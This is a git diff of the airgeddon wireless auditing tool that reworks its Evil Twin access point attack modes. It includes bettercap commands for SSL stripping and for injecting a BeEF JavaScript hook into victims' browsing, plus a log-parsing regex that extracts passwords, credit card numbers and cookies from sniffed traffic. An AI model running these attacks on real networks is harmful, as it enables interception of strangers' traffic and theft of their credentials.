if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
get_tmux_process_id "{optional_tools_names[18]}"
et_processes+=("${global_process_pid}")
@@ -11008,15 +11000,26 @@ function launch_beef() {
}
#Launch bettercap sniffer
+#shellcheck disable=SC2001
function launch_bettercap_sniffing() {
debug_print
+ local bettercap_window_title
+
recalculate_windows_sizes
- sniffing_scr_window_position=${g4_bottomright_window}
+ case ${et_mode} in
+ "et_sniffing_sslstrip2")
+ sniffing_scr_window_position=${g3_bottomright_window}
+ bettercap_window_title="Sniffer+Bettercap-Sslstrip2"
+ ;;
+ "et_sniffing_sslstrip2_beef")
+ sniffing_scr_window_position=${g4_bottomright_window}
+ bettercap_window_title="Sniffer+Bettercap-Sslstrip2/BeEF"
+ ;;
+ esac
if compare_floats_greater_or_equal "${bettercap_version}" "${bettercap2_version}"; then
-
set_bettercap_config
bettercap_cmd="bettercap -iface ${interface} -no-history -caplet ${tmpdir}${bettercap_config_file}"
@@ -11029,16 +11032,22 @@ function launch_bettercap_sniffing() {
bettercap_extra_cmd_options="--disable-parsers URL,HTTPS,DHCP --no-http-logs"
fi
- bettercap_cmd="bettercap -I ${interface} -X -S NONE --no-discovery --proxy --proxy-port ${bettercap_proxy_port} ${bettercap_extra_cmd_options} --proxy-module injectjs --js-url \"http://${et_ip_router}:${beef_port}/${jshookfile}\" --dns-port ${bettercap_dns_port}"
+ if [ "${et_mode}" = "et_sniffing_sslstrip2" ]; then
+ bettercap_cmd="bettercap -I ${interface} -X -S NONE --no-discovery --proxy --proxy-port ${bettercap_proxy_port} ${bettercap_extra_cmd_options} --proxy-module --dns-port ${bettercap_dns_port}"
+ else
+ bettercap_cmd="bettercap -I ${interface} -X -S NONE --no-discovery --proxy --proxy-port ${bettercap_proxy_port} ${bettercap_extra_cmd_options} --proxy-module injectjs --js-url \"http://${et_ip_router}:${beef_port}/${jshookfile}\" --dns-port ${bettercap_dns_port}"
+ fi
if [ ${bettercap_log} -eq 1 ]; then
bettercap_cmd+=" -O \"${tmp_bettercaplog}\""
fi
fi
- manage_output "-hold -bg \"#000000\" -fg \"#FFFF00\" -geometry ${sniffing_scr_window_position} -T \"Sniffer+Bettercap-Sslstrip2/BeEF\"" "${bettercap_cmd}" "Sniffer+Bettercap-Sslstrip2/BeEF"
+ manage_output "-hold -bg \"#000000\" -fg \"#FFFF00\" -geometry ${sniffing_scr_window_position} -T \"${bettercap_window_title}\"" "${bettercap_cmd}" "${bettercap_window_title}"
if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
- get_tmux_process_id "${bettercap_cmd}"
+ local bettercap_cmd_clean_for_pid_finding
+ bettercap_cmd_clean_for_pid_finding=$(echo "${bettercap_cmd}" | sed 's/ |.*//')
+ get_tmux_process_id "${bettercap_cmd_clean_for_pid_finding}"
et_processes+=("${global_process_pid}")
global_process_pid=""
else
@@ -11097,16 +11106,16 @@ function parse_bettercap_log() {
language_strings "${language}" 304 "blue"
if compare_floats_greater_or_equal "${bettercap_version}" "${bettercap2_version}"; then
- sed -Ei 's/\x1b\[[0-9;]*m.+\x1b\[[0-9;]K//g' "${tmp_bettercaplog}"
- sed -Ei 's/\x1b\[[0-9;]*m|\x1b\[J|\x1b\[[0-9;]K|\x8|\xd//g' "${tmp_bettercaplog}"
- sed -Ei 's/.*»//g' "${tmp_bettercaplog}"
- sed -Ei 's/^[[:blank:]]*//g' "${tmp_bettercaplog}"
- sed -Ei '/^$/d' "${tmp_bettercaplog}"
+ sed -Ei 's/\x1b\[[0-9;]*m.+\x1b\[[0-9;]K//g' "${tmp_bettercaplog}" 2> /dev/null
+ sed -Ei 's/\x1b\[[0-9;]*m|\x1b\[J|\x1b\[[0-9;]K|\x8|\xd//g' "${tmp_bettercaplog}" 2> /dev/null
+ sed -Ei 's/.*»//g' "${tmp_bettercaplog}" 2> /dev/null
+ sed -Ei 's/^[[:blank:]]*//g' "${tmp_bettercaplog}" 2> /dev/null
+ sed -Ei '/^$/d' "${tmp_bettercaplog}" 2> /dev/null
fi
local regexp='USER|UNAME|PASS|CREDITCARD|COOKIE|PWD|USUARIO|CONTRASE|CORREO|MAIL|NET.SNIFF.HTTP.REQUEST.*POST|HTTP\].*POST'
local regexp2='USER-AGENT|COOKIES|BEEFHOOK'
- readarray -t BETTERCAPLOG < <(cat < "${tmp_bettercaplog}" 2> /dev/null | grep -E -i ${regexp} | grep -E -vi ${regexp2})
+ readarray -t BETTERCAPLOG < <(cat < "${tmp_bettercaplog}" 2> /dev/null | grep -E -i "${regexp}" | grep -E -vi "${regexp2}")
{
echo ""
@@ -12705,8 +12714,8 @@ function wps_pin_database_prerequisites() {
language_strings "${language}" 384 "blue"
echo
search_in_pin_database
- if [ ${bssid_found_in_db} -eq 1 ]; then
- if [ ${counter_pins_found} -eq 1 ]; then
+ if [ "${bssid_found_in_db}" -eq 1 ]; then
+ if [ "${counter_pins_found}" -eq 1 ]; then
language_strings "${language}" 385 "yellow"
else
language_strings "${language}" 386 "yellow"
@@ -12751,10 +12760,10 @@ function et_prerequisites() {
"et_sniffing")
language_strings "${language}" 291 "title"
;;
- "et_sniffing_sslstrip")
+ "et_sniffing_sslstrip2")
language_strings "${language}" 292 "title"
;;
- "et_sniffing_sslstrip2")
+ "et_sniffing_sslstrip2_beef")
language_strings "${language}" 397 "title"
;;
"et_captive_portal")
@@ -12880,9 +12889,9 @@ function et_prerequisites() {
if [ -n "${enterprise_mode}" ]; then
manage_enterprise_log
- elif [[ "${et_mode}" = "et_sniffing" ]] || [[ "${et_mode}" = "et_sniffing_sslstrip" ]]; then
+ elif [[ "${et_mode}" = "et_sniffing" ]]; then
manage_ettercap_log
- elif [ "${et_mode}" = "et_sniffing_sslstrip2" ]; then
+ elif [[ "${et_mode}" = "et_sniffing_sslstrip2" ]] || [[ "${et_mode}" = "et_sniffing_sslstrip2_beef" ]]; then
manage_bettercap_log
elif [ "${et_mode}" = "et_captive_portal" ]; then
manage_captive_portal_log
@@ -12931,12 +12940,12 @@ function et_prerequisites() {
"et_sniffing")
exec_et_sniffing_attack
;;
- "et_sniffing_sslstrip")
- exec_et_sniffing_sslstrip_attack
- ;;
"et_sniffing_sslstrip2")
exec_et_sniffing_sslstrip2_attack
;;
+ "et_sniffing_sslstrip2_beef")
+ exec_et_sniffing_sslstrip2_beef_attack
+ ;;
"et_captive_portal")
exec_et_captive_portal_attack
;;
@@ -15499,7 +15508,7 @@ function check_default_route() {
debug_print
- (set -o pipefail && route | grep "${1}" | grep -E "^default|0\.0\.0\.0" | head -n 1 > /dev/null)
+ (set -o pipefail && ip route | awk '/^default/{print $5}' | grep "${1}" > /dev/null)
return $?
}
@@ -15592,8 +15601,8 @@ function remove_warnings() {
echo "${hashcat_attacks_dependencies[@]}" > /dev/null 2>&1
echo "${et_onlyap_dependencies[@]}" > /dev/null 2>&1
echo "${et_sniffing_dependencies[@]}" > /dev/null 2>&1
- echo "${et_sniffing_sslstrip_dependencies[@]}" > /dev/null 2>&1
echo "${et_sniffing_sslstrip2_dependencies[@]}" > /dev/null 2>&1
+ echo "${et_sniffing_sslstrip2_beef_dependencies[@]}" > /dev/null 2>&1
echo "${et_captive_portal_dependencies[@]}" > /dev/null 2>&1
echo "${wash_scan_dependencies[@]}" > /dev/null 2>&1
echo "${bully_attacks_dependencies[@]}" > /dev/null 2>&1
diff --git a/binaries/arch/airgeddon-git-10.31-1-any.pkg.tar.zst b/binaries/arch/airgeddon-git-10.31-1-any.pkg.tar.zst
deleted file mode 100644
index 6db151ea5..000000000
Binary files a/binaries/arch/airgeddon-git-10.31-1-any.pkg.tar.zst and /dev/null differ
diff --git a/binaries/arch/airgeddon-git-10.40-1-any.pkg.tar.zst b/binaries/arch/airgeddon-git-10.40-1-any.pkg.tar.zst
new file mode 100644
index 000000000..baa301e01
Binary files /dev/null and b/binaries/arch/airgeddon-git-10.40-1-any.pkg.tar.zst differ
diff --git a/binaries/kali/airgeddon_10.31-1_all.deb b/binaries/kali/airgeddon_10.31-1_all.deb
deleted file mode 100644
index 68e3bf02d..000000000
Binary files a/binaries/kali/airgeddon_10.31-1_all.deb and /dev/null differ
diff --git a/imgs/wiki/airgeddon_scrs1.png b/imgs/wiki/airgeddon_scrs1.png
index f92c4886d..bd10fbb9c 100644
Binary files a/imgs/wiki/airgeddon_scrs1.png and b/imgs/wiki/airgeddon_scrs1.png differ
diff --git a/imgs/wiki/airgeddon_scrs2.png b/imgs/wiki/airgeddon_scrs2.png
index b13f704e3..02362a4a1 100644
Binary files a/imgs/wiki/airgeddon_scrs2.png and b/imgs/wiki/airgeddon_scrs2.png differ
diff --git a/imgs/wiki/archstrike.png b/imgs/wiki/archstrike.png
index f649f2b23..bf708543e 100644
Binary files a/imgs/wiki/archstrike.png and b/imgs/wiki/archstrike.png differ
diff --git a/imgs/wiki/kali_linux.png b/imgs/wiki/kali_linux.png
new file mode 100644
index 000000000..33303fef2
Binary files /dev/null and b/imgs/wiki/kali_linux.png differ
diff --git a/language_strings.sh b/language_strings.sh
index 908e29bb1..60c59ea58 100644
--- a/language_strings.sh
+++ b/language_strings.sh
@@ -10,7 +10,7 @@ function set_language_strings_version() {
debug_print
- language_strings_version="10.31-1"
+ language_strings_version="10.40-1"
}
#Set different language text strings
@@ -4357,18 +4357,18 @@ function initialize_language_strings() {
arr["TURKISH",260]="6. Smooth mod Enterprise Evil Twin"
arr["ARABIC",260]="6. Smooth mode Enterprise Evil Twin وضع"
- arr["ENGLISH",261]="7. Evil Twin AP attack with sniffing and sslstrip"
- arr["SPANISH",261]="7. Ataque Evil Twin AP con sniffing y sslstrip"
- arr["FRENCH",261]="7. Attaque Evil Twin avec capture des données et sslstrip"
- arr["CATALAN",261]="7. Atac Evil Twin AP amb sniffing i sslstrip"
- arr["PORTUGUESE",261]="7. Ataque Evil Twin AP com sniffing e sslstrip"
- arr["RUSSIAN",261]="7. Атака Злой Двойник ТД со сниффингом и sslstrip"
- arr["GREEK",261]="7. Επίθεση Evil Twin AP με sniffing και sslstrip"
- arr["ITALIAN",261]="7. Attacco Evil Twin AP con sniffing e sslstrip"
- arr["POLISH",261]="7. Ataku Evil Twin AP ze sniffingiem i sslstrip"
- arr["GERMAN",261]="7. Evil Twin AP Angriff mit Sniffing und sslstrip"
- arr["TURKISH",261]="7. Şeytani İkiz AP saldırısı sniffing ve sslstrip ile birlikte"
- arr["ARABIC",261]="7. sslstrip مع الشم و Evil Twin AP هجوم"
+ arr["ENGLISH",261]="7. Evil Twin AP attack with sniffing and bettercap-sslstrip2"
+ arr["SPANISH",261]="7. Ataque Evil Twin AP con sniffing y bettercap-sslstrip2"
+ arr["FRENCH",261]="7. Attaque Evil Twin avec capture des données et bettercap-sslstrip2"
+ arr["CATALAN",261]="7. Atac Evil Twin AP amb sniffing i bettercap-sslstrip2"
+ arr["PORTUGUESE",261]="7. Ataque Evil Twin AP com sniffing e bettercap-sslstrip2"
+ arr["RUSSIAN",261]="7. Атака Злой Двойник ТД со сниффингом и bettercap-sslstrip2"
+ arr["GREEK",261]="7. Επίθεση Evil Twin AP με sniffing και bettercap-sslstrip2"
+ arr["ITALIAN",261]="7. Attacco Evil Twin AP con sniffing e bettercap-sslstrip2"
+ arr["POLISH",261]="7. Ataku Evil Twin AP ze sniffingiem i bettercap-sslstrip2"
+ arr["GERMAN",261]="7. Evil Twin AP Angriff mit Sniffing und bettercap-sslstrip2"
+ arr["TURKISH",261]="7. Şeytani İkiz AP saldırısı sniffing ve bettercap-sslstrip2 ile birlikte"
+ arr["ARABIC",261]="7. bettercap-sslstrip2 مع الشم و Evil Twin AP هجوم"
arr["ENGLISH",262]="without sniffing, captive portal"
arr["SPANISH",262]="sin sniffing, portal cautivo"
@@ -4760,18 +4760,18 @@ function initialize_language_strings() {
arr["TURKISH",291]="Şeytani İkiz AP saldırısı sniffing ile"
arr["ARABIC",291]="مع الشم Evil Twin هجوم"
- arr["ENGLISH",292]="Evil Twin AP attack with sniffing and sslstrip"
- arr["SPANISH",292]="Ataque Evil Twin AP con sniffing y sslstrip"
- arr["FRENCH",292]="Attaque Evil Twin avec capture de données et sslstrip"
- arr["CATALAN",292]="Atac Evil Twin AP amb sniffing i sslstrip"
- arr["PORTUGUESE",292]="Ataque Evil Twin AP com sniffing e sslstrip"
- arr["RUSSIAN",292]="Атака Злой Двойник ТД со сниффингом и sslstrip"
- arr["GREEK",292]="Επίθεση Evil Twin AP με sniffing και sslstrip"
- arr["ITALIAN",292]="Attacco Evil Twin AP con sniffing e sslstrip"
- arr["POLISH",292]="Atak Evil Twin AP ze sniffingiem i sslstrip"
- arr["GERMAN",292]="Evil Twin AP Angriff mit Sniffing und sslstrip"
- arr["TURKISH",292]="Şeytani İkiz AP saldırısı sniffing ve sslstrip ile"
- arr["ARABIC",292]="sslstrip مع الشم و Evil Twin AP هجوم"
+ arr["ENGLISH",292]="Evil Twin AP attack with sniffing and bettercap-sslstrip2"
+ arr["SPANISH",292]="Ataque Evil Twin AP con sniffing y bettercap-sslstrip2"
+ arr["FRENCH",292]="Attaque Evil Twin avec capture de données et bettercap-sslstrip2"
+ arr["CATALAN",292]="Atac Evil Twin AP amb sniffing i bettercap-sslstrip2"
+ arr["PORTUGUESE",292]="Ataque Evil Twin AP com sniffing e bettercap-sslstrip2"
+ arr["RUSSIAN",292]="Атака Злой Двойник ТД со сниффингом и bettercap-sslstrip2"
+ arr["GREEK",292]="Επίθεση Evil Twin AP με sniffing και bettercap-sslstrip2"
+ arr["ITALIAN",292]="Attacco Evil Twin AP con sniffing e bettercap-sslstrip2"
+ arr["POLISH",292]="Atak Evil Twin AP ze sniffingiem i bettercap-sslstrip2"
+ arr["GERMAN",292]="Evil Twin AP Angriff mit Sniffing und bettercap-sslstrip2"
+ arr["TURKISH",292]="Şeytani İkiz AP saldırısı sniffing ve bettercap-sslstrip2 ile"
+ arr["ARABIC",292]="bettercap-sslstrip2 مع الشم و Evil Twin AP هجوم"
arr["ENGLISH",293]="Evil Twin AP attack with captive portal"
arr["SPANISH",293]="Ataque Evil Twin AP con portal cautivo"
@@ -6381,8 +6381,8 @@ function initialize_language_strings() {
arr["GREEK",416]=" Μπορείτε να εκτελέσετε το BeEF, αλλά είναι καλύτερα να διαλέξετε τη δεύτερη επιλογή από πρίν"
arr["ITALIAN",416]=" Puoi eseguire BeEF, peró si consiglia di eseguire prima la seconda opzione"
arr["POLISH",416]=" Możesz uruchomić BeEF, ale zaleca się uruchomienie drugiej opcji najpierw"
- arr["GERMAN",416]=" Sie können BeEF ausführen, es wird jedoch empfohlen, die zweite Option vorher auszuführen"
- arr["TURKISH",416]=" BeEF'i çalıştırabilirsiniz, ancak daha önce ikinci seçeneği çalıştırırsanız daha iyi olur"
+ arr["GERMAN",416]=" Sie können BeEF ausführen, es wird jedoch empfohlen, die zweite Option vorher auszuführen"
+ arr["TURKISH",416]=" BeEF'i çalıştırabilirsiniz, ancak daha önce ikinci seçeneği çalıştırırsanız daha iyi olur"
arr["ARABIC",416]=" لكن من الأفضل تشغيل الخيار الثاني من قبل ، BeEF يمكنك تشغيل"
arr["ENGLISH",417]="An unexpected error occurred, redirecting to the menu"
diff --git a/plugins/missing_dependencies.sh b/plugins/missing_dependencies.sh
index 768dd079d..c0f5844a0 100644
--- a/plugins/missing_dependencies.sh
+++ b/plugins/missing_dependencies.sh
@@ -48,7 +48,6 @@ function commands_to_packages() {
commands_to_packages_correspondence["iptables"]="iptables"
commands_to_packages_correspondence["ettercap"]="ettercap-text-only"
commands_to_packages_correspondence["etterlog"]="ettercap-text-only"
- commands_to_packages_correspondence["sslstrip"]="sslstrip"
commands_to_packages_correspondence["lighttpd"]="lighttpd"
commands_to_packages_correspondence["dnsspoof"]="dsniff"
commands_to_packages_correspondence["wash"]="reaver"
@@ -96,7 +95,6 @@ function commands_to_packages() {
commands_to_packages_correspondence["iptables"]="iptables"
commands_to_packages_correspondence["ettercap"]="ettercap"
commands_to_packages_correspondence["etterlog"]="ettercap"
- commands_to_packages_correspondence["sslstrip"]="sslstrip"
commands_to_packages_correspondence["lighttpd"]="lighttpd"
commands_to_packages_correspondence["dnsspoof"]="dsniff"
commands_to_packages_correspondence["wash"]="reaver"
@@ -122,121 +120,14 @@ function commands_to_packages() {
esac
local missing_packages_string=""
- missing_special_packages=()
IFS=' ' read -r -a missing_commands_array <<< "${missing_commands_string_clean}"
for item in "${missing_commands_array[@]}"; do
- case "${item}" in
- "sslstrip")
- missing_special_packages+=("${item}")
- ;;
- *)
- missing_packages_string+=" ${commands_to_packages_correspondence[${item}]}"
- ;;
- esac
+ missing_packages_string+=" ${commands_to_packages_correspondence[${item}]}"
done
missing_packages_string_clean="${missing_packages_string#${missing_packages_string%%[![:space:]]*}}"
}
-#Custom function. Detect the architecture of the running system
-function detect_architecture() {
-
- if [[ $(uname -m) =~ x86_64 ]]; then
- architecture="amd64"
- else
- architecture="i386"
- fi
-}
-
-#Custom function. Install special packages not availables on standard repos
-#shellcheck disable=SC2154,SC2086
-function special_installation() {
-
- airgeddon_deb_packages_repo="https://${repository_hostname}/${github_user}/airgeddon_deb_packages"
-
- local special_installation_error=0
- for package in "${missing_special_packages[@]}"; do
- case "${package}" in
- "sslstrip")
- local packages_to_install
-
- case "${architecture}" in
- "amd64")
- packages_to_install=(
- "python-attr_19.3.0-2_all.deb"
- "python-six_1.14.0-2_all.deb"
- "python-automat_0.8.0-1_all.deb"
- "python-constantly_15.1.0-1_all.deb"
- "python-hamcrest_1.9.0-2_all.deb"
- "python-idna_2.6-2_all.deb"
- "python-hyperlink_19.0.0-1_all.deb"
- "python-incremental_16.10.1-3.1_all.deb"
- "python-ipaddress_1.0.17-1_all.deb"
- "python-cffi-backend_1.13.2-1_amd64.deb"
- "python-enum34_1.1.6-2_all.deb"
- "python-cryptography_2.8-3+b1_amd64.deb"
- "python-openssl_19.0.0-1_all.deb"
- "python-pyasn1_0.4.2-3_all.deb"
- "python-pyasn1-modules_0.2.1-0.2_all.deb"
- "python-service-identity_18.1.0-5_all.deb"
- "python-zope.interface_4.7.1-1+b1_amd64.deb"
- "python-twisted-bin_18.9.0-10_amd64.deb"
- "python-twisted-core_18.9.0-10_all.deb"
- "python-twisted-web_18.9.0-10_all.deb"
- "sslstrip_0.9-1kali3_all.deb"
- )
- ;;
- "i386")
- packages_to_install=(
- "python-attr_19.3.0-2_all.deb"
- "python-six_1.14.0-2_all.deb"
- "python-automat_0.8.0-1_all.deb"
- "python-constantly_15.1.0-1_all.deb"
- "python-hamcrest_1.9.0-2_all.deb"
- "python-idna_2.6-2_all.deb"
- "python-hyperlink_19.0.0-1_all.deb"
- "python-incremental_16.10.1-3.1_all.deb"
- "python-ipaddress_1.0.17-1_all.deb"
- "python-cffi-backend_1.13.2-1_i386.deb"
- "python-enum34_1.1.6-2_all.deb"
- "python-cryptography_2.8-3+b1_i386.deb"
- "python-openssl_19.0.0-1_all.deb"
- "python-pyasn1_0.4.2-3_all.deb"
- "python-pyasn1-modules_0.2.1-0.2_all.deb"
- "python-service-identity_18.1.0-5_all.deb"
- "python-zope.interface_4.3.2-1+b2_i386.deb"
- "python-twisted-bin_18.9.0-3_i386.deb"
- "python-twisted-core_18.9.0-3_all.deb"
- "python-twisted-web_18.9.0-3_all.deb"
- "sslstrip_0.9-1kali3_all.deb"
- )
- ;;
- esac
-
- if hash wget; then
- for item in "${packages_to_install[@]}"; do
- if wget -q "${airgeddon_deb_packages_repo}/raw/master/${architecture}/${item}" -O "${tmpdir}${item}" > /dev/null 2>&1; then
- if ! dpkg -i "${tmpdir}${item}" > /dev/null 2>&1; then
- special_installation_error=1
- rm -rf "${tmpdir}${item}" > /dev/null 2>&1
- break
- fi
- rm -rf "${tmpdir}${item}" > /dev/null 2>&1
- else
- special_installation_error=1
- break
- fi
- done
- else
- special_installation_error=1
- fi
- ;;
- esac
- done
-
- return ${special_installation_error}
-}
-
#Custom function. Create text messages to be used in missing dependencies plugin
#shellcheck disable=SC2154
function missing_dependencies_text() {
@@ -328,8 +219,6 @@ function missing_dependencies_posthook_check_compatibility() {
if [ "${yesno}" = "y" ]; then
- detect_architecture
-
local missing_tools=()
for item in "${!possible_package_names[@]}"; do
@@ -382,9 +271,6 @@ function missing_dependencies_posthook_check_compatibility() {
fi
fi
fi
- if ! special_installation; then
- resultok=0
- fi
;;
"BlackArch")
if ! pacman -Sy > /dev/null 2>&1 && pacman --noconfirm -S ${missing_packages_string_clean} > /dev/null 2>&1; then